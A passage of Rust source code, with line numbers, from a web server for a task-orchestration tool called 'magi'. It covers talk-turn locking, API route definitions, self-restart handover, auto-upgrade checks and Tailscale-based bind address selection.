1372 last_error: self.lock_loop().last_error.clone(),
1373 daemon: DaemonView::of(reading),
1374 }
1375 }
1376
1377 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1379 lock_or_recover(&self.looping)
1380 }
1381
1382 fn is_thinking(&self, id: &str) -> bool {
1384 self.talk_turns
1385 .lock()
1386 .is_ok_and(|turns| turns.live.contains(id))
1387 || self.talks.turn_held(id)
1390 || crate::consult::turn_worker_active(&self.talks, id)
1391 }
1392
1393 fn is_thinking_observed(&self, id: &str) -> bool {
1396 self.talk_turns.try_lock().map_or_else(
1397 |error| matches!(error, std::sync::TryLockError::WouldBlock),
1400 |turns| turns.live.contains(id),
1401 )
1402 || self.talks.turn_held(id)
1405 || crate::consult::turn_worker_observed(&self.talks, id)
1406 }
1407
1408 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1427 self.claim_talk_turn(id, false)
1428 }
1429
1430 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1433 self.claim_talk_turn(id, true)
1434 }
1435
1436 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1437 let mut live = self
1438 .talk_turns
1439 .lock()
1440 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1441 if crate::consult::turn_worker_active(&self.talks, id) {
1442 if queued {
1443 *live.queued.entry(id.to_owned()).or_default() += 1;
1444 }
1445 return Ok(None);
1446 }
1447 let inserted = live.live.insert(id.to_owned());
1448 let lease = if inserted {
1452 match self.talks.claim_turn(id) {
1453 Ok(Some(lease)) => Some(lease),
1454 Ok(None) => {
1455 live.live.remove(id);
1456 None
1457 }
1458 Err(e) => {
1459 live.live.remove(id);
1460 return Err(ApiError::from(e));
1461 }
1462 }
1463 } else {
1464 None
1465 };
1466 if lease.is_none() {
1467 if queued {
1468 *live.queued.entry(id.to_owned()).or_default() += 1;
1473 }
1474 return Ok(None);
1475 }
1476 Ok(Some(TalkTurnGuard {
1477 talk: id.to_owned(),
1478 turns: Arc::clone(&self.talk_turns),
1479 released: false,
1480 lease,
1481 }))
1482 }
1483
1484 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1489 let mut live = self
1490 .talk_turns
1491 .lock()
1492 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1493 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1495 return Ok(TalkTurnStart::Busy);
1496 }
1497 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1498 return Ok(TalkTurnStart::Foreign);
1499 };
1500 let talk = self.talks.get(id).map_err(ApiError::from)?;
1502 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1503 return Ok(TalkTurnStart::Pending);
1504 }
1505 live.live.insert(id.to_owned());
1506 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1507 talk: id.to_owned(),
1508 turns: Arc::clone(&self.talk_turns),
1509 released: false,
1510 lease: Some(lease),
1511 }))
1512 }
1513
1514 fn queued_generation(&self, id: &str) -> u64 {
1515 let live = self
1516 .talk_turns
1517 .lock()
1518 .unwrap_or_else(PoisonError::into_inner);
1519 live.queued.get(id).copied().unwrap_or(0)
1520 }
1521
1522 fn auto_upgrade_busy(&self) -> bool {
1525 #[cfg(test)]
1526 if self
1527 .lock_loop()
1528 .live
1529 .as_ref()
1530 .is_some_and(|live| live.stop.busy_now())
1531 {
1532 return true;
1533 }
1534 crate::worker::active(&self.home)
1535 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1536 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1537 || !self
1538 .resuming
1539 .lock()
1540 .unwrap_or_else(PoisonError::into_inner)
1541 .is_empty()
1542 || !self
1543 .talk_turns
1544 .lock()
1545 .unwrap_or_else(PoisonError::into_inner)
1546 .live
1547 .is_empty()
1548 || self
1549 .talks
1550 .list()
1551 .iter()
1552 .any(|talk| self.is_thinking(&talk.id))
1553 }
1554
1555 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1559 let mut live = self
1560 .resuming
1561 .lock()
1562 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1563 if self
1564 .upgrade_spawned
1565 .load(std::sync::atomic::Ordering::SeqCst)
1566 {
1567 return Err(ApiError::conflict("an upgrade is in progress"));
1568 }
1569 if !live.insert(id.to_owned()) {
1570 return Err(ApiError::conflict(format!(
1571 "run {id} is already being resumed"
1572 )));
1573 }
1574 Ok(ResumeGuard {
1575 run: id.to_owned(),
1576 resuming: Arc::clone(&self.resuming),
1577 })
1578 }
1579
1580 pub fn router(self) -> Router {
1588 Arc::new(self).shared_router()
1589 }
1590
1591 fn shared_router(self: Arc<Self>) -> Router {
1592 Router::new()
1593 .route("/", get(index))
1594 .route("/app.css", get(app_css))
1595 .route("/app.js", get(app_js))
1596 .route("/api/health", get(health))
1597 .route("/api/references", post(id_links::resolve_text))
1598 .route("/api/loop", get(loop_get).post(loop_post))
1599 .route("/api/upgrade", post(upgrade_post))
1600 .route("/api/runs", get(runs_list))
1601 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1602 .route("/api/runs/{id}/core", get(run_core))
1603 .route("/api/runs/{id}/report", get(run_report))
1604 .route("/api/runs/{id}/report.json", get(run_report_json))
1605 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1606 .route("/api/runs/{id}/fold", post(run_fold))
1607 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1608 .route("/api/runs/{id}/resume", post(run_resume))
1609 .route("/api/queue", get(queue_list))
1610 .route("/api/queue/page", get(queue_page))
1611 .route("/api/search", get(search_get))
1612 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1613 .route("/api/queue/{id}/core", get(task_core))
1614 .route("/api/stats", get(stats_get))
1615 .route("/api/stats/queue", get(stats_queue))
1616 .route("/api/repos", get(repos_list))
1617 .route("/api/settings", get(settings_get))
1618 .route("/api/settings/roles", put(settings_put_roles))
1619 .route("/api/queue/{id}/hold", post(queue_hold))
1620 .route("/api/queue/{id}/release", post(queue_release))
1621 .route("/api/queue/{id}/priority", post(queue_priority))
1622 .route("/api/queue/{id}/urgent", post(queue_urgent))
1623 .route("/api/queue/{id}/implementers", post(queue_implementers))
1624 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1625 .route("/api/queue/{id}/edit", post(queue_edit))
1626 .route("/api/queue/{id}/done", post(queue_done))
1627 .route("/api/questions", get(questions_list))
1628 .route("/api/questions/core", get(questions_core))
1629 .route("/api/questions/origins", get(question_origins))
1630 .route("/api/questions/{id}/answer", post(question_answer))
1631 .route("/api/questions/{id}/say", post(question_say))
1632 .route("/api/questions/{id}/consult", post(question_consult))
1633 .route("/api/questions/{id}/panel", get(question_panel))
1634 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1642 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1643 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1644 .route("/api/notifications", get(notifications_list))
1645 .route("/api/notifications/read-all", post(notifications_read_all))
1646 .route("/api/notifications/{id}/read", post(notification_read))
1647 .route(
1648 "/api/notifications/{id}/dismiss",
1649 post(notification_dismiss),
1650 )
1651 .route("/api/talks", get(talks_list).post(talk_post))
1652 .route("/api/talks/page", get(talks_page))
1653 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1654 .route("/api/talks/{id}/core", get(talk_core))
1655 .route("/api/talks/{id}/sections", get(talk_sections))
1656 .route("/api/talks/{id}/say", post(talk_say))
1657 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1658 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1659 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1660 .route("/api/talks/{id}/agent", post(talk_agent))
1661 .route("/api/talks/{id}/persona", post(talk_persona))
1662 .route("/api/talks/{id}/implementers", post(talk_implementers))
1663 .route("/api/talks/{id}/close", post(talk_close))
1664 .route("/api/talks/{id}/reopen", post(talk_reopen))
1665 .route(
1671 "/api/talks/{id}/attachments",
1672 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1673 )
1674 .route(
1675 "/api/talks/{id}/attachments/{att}",
1676 get(talk_attachment_get),
1677 )
1678 .route("/api/talks/{id}/avatar", get(talk_avatar))
1679 .route("/avatars/operator.svg", get(operator_avatar))
1680 .route(
1681 "/api/avatar-settings",
1682 get(avatar_settings_get)
1683 .put(avatar_settings_put)
1684 .delete(avatar_settings_delete),
1685 )
1686 .route("/avatars/persona", get(settings_persona_avatar))
1687 .route("/avatars/magi", get(magi_avatar))
1688 .route(
1689 "/api/magi-icon",
1690 get(magi_icon_get)
1691 .put(magi_icon_put)
1692 .delete(magi_icon_delete),
1693 )
1694 .route("/api/events", get(events))
1695 .with_state(self)
1696 }
1697}
1698
1699#[derive(Debug)]
1705struct TalkTurnGuard {
1706 talk: String,
1707 turns: Arc<Mutex<TalkTurns>>,
1708 released: bool,
1709 lease: Option<crate::talk::TurnLease>,
1711}
1712
1713#[derive(Debug, Default)]
1720struct TalkTurns {
1721 live: HashSet<String>,
1722 queued: HashMap<String, u64>,
1723}
1724
1725enum TalkTurnStart {
1728 Claimed(TalkTurnGuard),
1729 Busy,
1730 Foreign,
1733 Pending,
1734}
1735
1736impl TalkTurnGuard {
1737 #[cfg(test)]
1738 fn owns(&self) -> bool {
1742 self.lease
1743 .as_ref()
1744 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1745 }
1746
1747 #[cfg(test)]
1748 async fn respond(
1751 &self,
1752 talk: &mut Talk,
1753 talks: &Talks,
1754 cfg: &Config,
1755 text: &str,
1756 ) -> anyhow::Result<()> {
1757 let lease = self
1758 .lease
1759 .as_ref()
1760 .context("the turn guard no longer holds its lease")?;
1761 talk::respond(lease, talk, talks, cfg, text).await
1762 }
1763
1764 fn release(mut self, live: &mut TalkTurns) {
1767 self.lease = None;
1771 live.live.remove(&self.talk);
1772 live.queued.remove(&self.talk);
1773 self.released = true;
1774 }
1775}
1776
1777impl Drop for TalkTurnGuard {
1778 fn drop(&mut self) {
1779 if self.released {
1780 return;
1781 }
1782 drop(self.lease.take());
1784 if let Ok(mut live) = self.turns.lock() {
1785 live.live.remove(&self.talk);
1786 live.queued.remove(&self.talk);
1787 }
1788 }
1789}
1790
1791struct ResumeGuard {
1793 run: String,
1794 resuming: Arc<Mutex<HashSet<String>>>,
1795}
1796
1797impl Drop for ResumeGuard {
1798 fn drop(&mut self) {
1799 if let Ok(mut live) = self.resuming.lock() {
1800 live.remove(&self.run);
1801 }
1802 }
1803}
1804
1805async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1815 const WINDOW: Duration = Duration::from_secs(10);
1816 const GAP: Duration = Duration::from_millis(250);
1817
1818 let deadline = std::time::Instant::now() + WINDOW;
1819 let mut said = false;
1820 loop {
1821 match tokio::net::TcpListener::bind(socket).await {
1822 Ok(listener) => return Ok(listener),
1823 Err(e)
1824 if e.kind() == std::io::ErrorKind::AddrInUse
1825 && std::time::Instant::now() < deadline =>
1826 {
1827 if !said {
1828 said = true;
1829 tracing::info!(
1830 "{socket} is still held - waiting up to {}s for it, \
1831 which is what a restart looks like from here",
1832 WINDOW.as_secs()
1833 );
1834 }
1835 tokio::time::sleep(GAP).await;
1836 }
1837 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1838 }
1839 }
1840}
1841
1842static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1845
1846const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1848const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1850
1851fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1853 value.is_some_and(|v| v == "1")
1854}
1855
1856fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1875 let args: Vec<String> = std::env::args().skip(1).collect();
1876 updater::log_step(
1877 home,
1878 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1879 );
1880 let log_path = home.join(WEB_LOG);
1881 let open_log = || {
1882 std::fs::create_dir_all(home)?;
1883 std::fs::OpenOptions::new()
1884 .create(true)
1885 .append(true)
1886 .open(&log_path)
1887 };
1888 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1889 Ok(pair) => (
1890 std::process::Stdio::from(pair.0),
1891 std::process::Stdio::from(pair.1),
1892 ),
1893 Err(e) => {
1894 updater::log_warn(
1895 home,
1896 &format!(
1897 "could not open {}: {e}; the successor logs nowhere",
1898 log_path.display()
1899 ),
1900 );
1901 (std::process::Stdio::null(), std::process::Stdio::null())
1902 }
1903 };
1904
1905 let mut cmd = std::process::Command::new(exe);
1906 cmd.env_remove(RESUME_LOOP_ENV);
1907 cmd.env(RESTART_PORT_ENV, port.to_string());
1908 cmd.args(&args)
1909 .stdin(std::process::Stdio::null())
1910 .stdout(out)
1911 .stderr(err);
1912 #[cfg(windows)]
1913 {
1914 use std::os::windows::process::CommandExt as _;
1915 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1918 }
1919 let child = cmd.spawn().context("start the successor")?;
1920 Ok(child.id())
1921}
1922
1923const WEB_LOG: &str = "web.log";
1925
1926async fn wait_for_handover(signal: &Notify) {
1930 signal.notified().await;
1931}
1932
1933pub async fn serve(opts: Opts) -> Result<()> {
1936 crate::worker::remember_current_executable()?;
1939 let executable = std::env::current_exe().context("find the installed web executable")?;
1940 let (addr, warning) = resolve_bind(&opts.bind);
1941 if let Some(warning) = warning {
1942 tracing::warn!("{warning}");
1943 }
1944
1945 report::set_color(false);
1951
1952 let repo = normalize_default_repo(opts.repo).await;
1953 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1954 let home = ui.home.clone();
1956 let admissions = Arc::clone(&ui.admissions);
1957 updater::reconcile_after_restart(&home);
1962 updater::log_step(
1963 &home,
1964 &format!(
1965 "web process started (version {}); handover log {}, successor output {}",
1966 env!("CARGO_PKG_VERSION"),
1967 updater::log_path(&home).display(),
1968 home.join(WEB_LOG).display()
1969 ),
1970 );
1971 updater::spawn_watchdog(home.clone());
1972 let port = if opts.port == 0 {
1980 std::env::var(RESTART_PORT_ENV)
1981 .ok()
1982 .and_then(|value| value.parse::<u16>().ok())
1983 .filter(|port| *port != 0)
1984 .unwrap_or(0)
1985 } else {
1986 opts.port
1987 };
1988 let socket = SocketAddr::new(addr, port);
1989 let listener = bind_waiting(socket).await?;
1990 let bound = listener.local_addr().context("read bound web address")?;
1991 let port = bound.port();
1992 let url = format!("http://{bound}");
1993 tracing::info!(
1994 "magi web UI on {url} - there is no authentication, so anyone who can \
1995 reach this address can file and hold tasks: the tailnet is the \
1996 security boundary"
1997 );
1998 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2000 ui.start_detached_loop()
2001 .await
2002 .map_err(|e| anyhow::anyhow!(e.message))?;
2003 }
2004 if opts.open {
2005 println!("{url}");
2009 }
2010
2011 let recheck_ui = ui.clone();
2014 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2015 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2016 let interrupted = async {
2017 if tokio::signal::ctrl_c().await.is_err() {
2018 std::future::pending::<()>().await;
2023 }
2024 };
2025 let handover = wait_for_handover(&HANDOVER);
2026 let outcome = tokio::select! {
2027 joined = &mut served => match joined {
2028 Ok(outcome) => outcome.context("serve the web UI"),
2029 Err(e) => Err(e).context("the task serving the web UI ended"),
2030 },
2031 () = interrupted => {
2032 recheck.abort();
2033 tracing::info!("shutting down the web UI; detached workers continue");
2034 close_admissions(&admissions).await;
2035 served.abort();
2036 let _ = served.await;
2037 Ok(())
2038 }
2039 () = handover => {
2040 recheck.abort();
2041 let successor_home = home.clone();
2042 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2043 }
2044 };
2045 recheck.abort();
2046 let _ = recheck.await;
2047 updater::log_step(
2048 &home,
2049 &match &outcome {
2050 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2051 Err(e) => format!("serve: returning an error: {e:#}"),
2052 },
2053 );
2054 outcome
2055}
2056
2057async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2078 if repo != FsPath::new(".") {
2079 return repo;
2080 }
2081 let Ok(canonical) = repo.canonicalize() else {
2082 return repo;
2083 };
2084 if git::toplevel(&canonical).await.is_ok() {
2085 return repo;
2086 }
2087 let Some(home) = dirs::home_dir() else {
2088 return repo;
2089 };
2090 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2091 Some(found) => {
2092 tracing::info!(
2093 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2094 canonical.display(),
2095 found.path.display(),
2096 found.reason,
2097 );
2098 found.path
2099 }
2100 None => repo,
2101 }
2102}
2103
2104async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2107 *admissions.write().await = true;
2108}
2109
2110async fn hand_over(
2113 home: &FsPath,
2114 admissions: &tokio::sync::RwLock<bool>,
2115 served: tokio::task::JoinHandle<std::io::Result<()>>,
2116 successor: impl FnOnce() -> Result<u32>,
2117) -> Result<()> {
2118 close_admissions(admissions).await;
2119 if let Some(mut progress) = updater::read_progress(home) {
2120 progress.advance(updater::Stage::Restarting);
2121 progress.detail =
2122 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2123 updater::write_progress_logged(home, &progress);
2124 }
2125 updater::log_step(
2126 home,
2127 "restarting scheduler without parking execution workers",
2128 );
2129 let scheduler = daemon::restart_detached(home).await;
2130 if let Err(error) = &scheduler {
2131 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2132 updater::log_warn(
2133 home,
2134 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2135 );
2136 }
2137 updater::log_step(home, "releasing the web listener");
2138 served.abort();
2139 let _ = served.await;
2140 updater::log_step(home, "web listener released; starting the successor");
2141 match successor() {
2142 Ok(pid) => {
2143 updater::log_step(home, &format!("successor started, pid {pid}"));
2144 scheduler
2145 }
2146 Err(e) => {
2147 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2148 Err(e)
2149 }
2150 }
2151}
2152
2153pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2159 match bind {
2160 Bind::Addr(addr) => (*addr, None),
2161 Bind::Auto => match tailscale_ip() {
2162 Ok(ip) => (IpAddr::V4(ip), None),
2163 Err(why) => (
2164 IpAddr::V4(Ipv4Addr::LOCALHOST),
2165 Some(format!(
2166 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2167 local-only and a phone cannot reach it; start Tailscale \
2168 or pass --bind <addr>"
2169 )),
2170 ),
2171 },
2172 }
2173}
2174
2175fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2183 let out = std::process::Command::new("tailscale")
2184 .args(["ip", "-4"])
2185 .quiet()
2186 .output()
2187 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2188 if !out.status.success() {
2189 let why = String::from_utf8_lossy(&out.stderr);
2190 let why = why.trim();
2191 return Err(format!(
2192 "`tailscale ip -4` failed ({}){}",
2193 out.status,
2194 if why.is_empty() {
2195 String::new()
2196 } else {
2197 format!(": {why}")
2198 }
2199 ));
2200 }
2201 String::from_utf8_lossy(&out.stdout)
2202 .lines()
2203 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2204 .find(is_tailnet)
2205 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2206}
2207
2208fn is_tailnet(ip: &Ipv4Addr) -> bool {
2210 let o = ip.octets();
2211 o[0] == 100 && (64..=127).contains(&o[1])
2212}
2213
2214type ApiResult<T> = std::result::Result<T, ApiError>;
2218
2219#[derive(Debug)]
2221struct ApiError {
2222 status: StatusCode,
2223 message: String,
2224 text_reason: Option<crate::question_delivery::UnavailableReason>,
2225}
2226
2227impl ApiError {
2228 fn bad_request(message: impl Into<String>) -> Self {
2230 Self {
2231 text_reason: None,
2232 status: StatusCode::BAD_REQUEST,
2233 message: message.into(),
2234 }
2235 }
2236
2237 fn not_found(message: impl Into<String>) -> Self {
2239 Self {
2240 text_reason: None,
2241 status: StatusCode::NOT_FOUND,
2242 message: message.into(),
2243 }
2244 }
2245
2246 fn with_status(mut self, status: StatusCode) -> Self {
2249 self.status = status;
2250 self
2251 }
2252
2253 fn bad_request_from(e: anyhow::Error) -> Self {
2257 Self::bad_request(format!("{e:#}"))
2258 }
2259
2260 fn conflict(message: impl Into<String>) -> Self {
2261 Self {
2262 text_reason: None,
2263 status: StatusCode::CONFLICT,
2264 message: message.into(),
2265 }
2266 }
2267
2268 fn internal(message: impl Into<String>) -> Self {
2270 Self {
2271 text_reason: None,
2272 status: StatusCode::INTERNAL_SERVER_ERROR,
2273 message: message.into(),
2274 }
2275 }
2276}
2277
2278impl From<anyhow::Error> for ApiError {
2279 fn from(e: anyhow::Error) -> Self {
2284 Self::internal(format!("{e:#}"))
2285 }
2286}
2287
2288impl IntoResponse for ApiError {
2289 fn into_response(self) -> Response {
2290 let mut body = serde_json::json!({ "error": self.message });
2291 if let Some(reason) = self.text_reason {
2292 body["code"] = serde_json::json!("question_text_unavailable");
2293 body["reason"] = serde_json::json!(reason);
2294 }
2295 (self.status, Json(body)).into_response()
2296 }
2297}
2298
2299async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2308where
2309 T: Send + 'static,
2310{
2311 #[cfg(test)]
2312 let job = request_cost::carry(job);
2313 match tokio::task::spawn_blocking(job).await {
2314 Ok(result) => result,
2315 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2316 }
2317}
2318
2319async fn bulk_blocking<T>(
2322 slots: Arc<tokio::sync::Semaphore>,
2323 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2324) -> ApiResult<T>
2325where
2326 T: Send + 'static,
2327{
2328 let permit = slots
2329 .acquire_owned()
2330 .await
2331 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2332 let (send, receive) = tokio::sync::oneshot::channel();
2333 #[cfg(test)]
2334 let job = request_cost::carry(job);
2335 let runtime = tokio::runtime::Handle::current();
2336 std::thread::Builder::new()
2337 .name("web-bulk".into())
2338 .spawn(move || {
2339 let _permit = permit;
2340 let _runtime = runtime.enter();
2342 let _ = send.send(job());
2343 })
2344 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2345 receive
2346 .await
2347 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2348}
2349
2350const ASSET_CACHE: &str = "no-cache, must-revalidate";
2368
2369fn asset_etag() -> &'static str {
2376 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2377 format!(
2378 "\"{}-{}\"",
2379 env!("CARGO_PKG_VERSION"),
2380 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2385 )
2386 });
2387 &TAG
2388}
2389
2390fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2392 [
2393 (header::CONTENT_TYPE, mime),
2394 (header::CACHE_CONTROL, ASSET_CACHE),
2395 (header::ETAG, asset_etag()),
2396 ]
2397}
2398
2399fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2407 let tag = asset_etag();
2408 let known = headers
2409 .get(header::IF_NONE_MATCH)
2410 .and_then(|v| v.to_str().ok())
2411 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2415 if known {
2416 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2417 }
2418 (asset_headers(mime), body).into_response()
2419}
2420
2421async fn index(headers: header::HeaderMap) -> Response {
2422 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2423}
2424
2425async fn app_css(headers: header::HeaderMap) -> Response {
2426 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2427}
2428
2429async fn app_js(headers: header::HeaderMap) -> Response {
2430 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2431}
2432
2433#[derive(Debug, Serialize)]
2435struct HealthView {
2436 version: &'static str,
2437 home: String,
2438 queue_rev: u64,
2439 runs_rev: u64,
2440 questions_rev: u64,
2452 talks_rev: u64,
2454 notifications_rev: u64,
2456 notifications_unread: usize,
2459 loop_rev: u64,
2464 runs_unreadable: usize,
2472 disk: Option<serde_json::Value>,
2480 questions_open: usize,
2486 questions_needs_owner: usize,
2496 daemon: DaemonView,
2497 #[serde(rename = "loop")]
2503 looping: LoopView,
2504 update: UpdateView,
2511 upgrade: Option<UpgradeProgressView>,
2515 jobs: Vec<WorkerView>,
2518 upgrade_request_error: Option<UpgradeRequestFailure>,
2519}
2520
2521#[derive(Debug, Serialize)]
2524struct WorkerView {
2525 id: String,
2526 kind: String,
2527 key: String,
2528 pid: Option<u32>,
2529 status: crate::worker::Status,
2530 generation: String,
2531 version: Option<String>,
2532 queue_owned: bool,
2533}
2534
2535impl From<crate::worker::Job> for WorkerView {
2536 fn from(job: crate::worker::Job) -> Self {
2537 let queue_owned = job.kind == "task"
2538 && job
2539 .payload
2540 .get("standalone")
2541 .and_then(serde_json::Value::as_bool)
2542 != Some(true);
2543 Self {
2544 id: job.id,
2545 kind: job.kind,
2546 key: job.key,
2547 pid: job.pid,
2548 status: job.status,
2549 generation: job.generation,
2550 version: job.version,
2551 queue_owned,
2552 }
2553 }
2554}
2555
2556#[derive(Debug, Clone, Serialize)]
2563struct UpdateView {
2564 available: bool,
2566 to: Option<String>,
2568}
2569
2570#[derive(Debug, Serialize)]
2572struct UpgradeProgressView {
2573 trigger: updater::UpgradeTrigger,
2574 stage: updater::Stage,
2575 from: String,
2576 to: Option<String>,
2577 waiting_on: Option<String>,
2580 started_at: Timestamp,
2581 updated_at: Timestamp,
2582 detail: Option<String>,
2583 stuck_for_secs: Option<i64>,
2586 stuck_kind: Option<updater::StallKind>,
2589 handover_alive: bool,
2592}
2593
2594fn should_spawn_recheck(cfg: &Update) -> bool {
2601 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2602}
2603
2604fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2616 if progress.is_some_and(|p| !p.stage.terminal()) {
2617 return false;
2618 }
2619 checker.should_check()
2620}
2621
2622fn recheck_poll_period(cfg: &Update) -> Duration {
2635 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2636}
2637
2638#[derive(Debug, PartialEq, Eq)]
2639enum AutoUpgradeDecision {
2640 Skip(&'static str),
2641 Wait,
2642 Trigger,
2643}
2644
2645fn auto_upgrade_decision(
2646 cfg: &Update,
2647 disabled: bool,
2648 in_motion: bool,
2649 busy: bool,
2650 tag: &str,
2651 failed: Option<&str>,
2652) -> AutoUpgradeDecision {
2653 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2654 AutoUpgradeDecision::Skip("disabled")
2655 } else if in_motion {
2656 AutoUpgradeDecision::Skip("upgrade already in progress")
2657 } else if failed == Some(tag) {
2658 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2659 } else if busy {
2660 AutoUpgradeDecision::Wait
2661 } else {
2662 AutoUpgradeDecision::Trigger
2663 }
2664}
2665
2666async fn run_update_recheck(ui: Arc<Ui>) {
2668 loop {
2669 let cfg = match Config::discover(&ui.repo, None) {
2670 Ok((cfg, _)) => cfg,
2671 Err(e) => {
2672 updater::log_warn(
2673 &ui.home,
2674 &format!("auto-upgrade: config unavailable: {e:#}"),
2675 );
2676 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2677 continue;
2678 }
2679 };
2680 if should_spawn_recheck(&cfg.update)
2681 && let Some(checker) = updater::Checker::new(&cfg.update)
2682 {
2683 let progress = updater::read_progress(&ui.home);
2684 let mut latest = checker.cached_update();
2685 if update_recheck_due(&checker, progress.as_ref()) {
2686 match checker.newer_release().await {
2687 Ok(found) => latest = found,
2688 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2689 }
2690 }
2691 if cfg.update.auto_restart
2692 && let Some(latest) = latest
2693 {
2694 let response =
2695 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2696 updater::log_step(
2697 &ui.home,
2698 &format!("auto-upgrade: request status {}", response.status()),
2699 );
2700 }
2701 }
2702 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2703 }
2704}
2705
2706fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2712 let default;
2713 let cfg = match cfg {
2714 Some(cfg) => cfg,
2715 None => {
2716 default = Config::default();
2717 &default
2718 }
2719 };
2720 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2721 match latest {
2722 Some(latest) => UpdateView {
2723 available: true,
2724 to: Some(latest.tag_name),
2725 },
2726 None => UpdateView {
2727 available: false,
2728 to: None,
2729 },
2730 }
2731}
2732
2733fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2739 let now = Timestamp::now();
2740 let lease = updater::read_lease(&ui.home);
2741 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2742 let run_id = alive
2743 .and_then(|l| l.parked_run.as_deref())
2744 .or(progress.parked_run.as_deref());
2745 let parking = progress.stage == updater::Stage::Parking;
2746 let waited = alive.map_or_else(String::new, |l| {
2747 let secs = updater::waited_secs(l, now);
2748 format!(" (waited {} min so far)", secs / 60)
2749 });
2750 let run_text = run_id
2751 .filter(|_| parking)
2752 .map(|id| match read_run(&ui.runs, id).ok() {
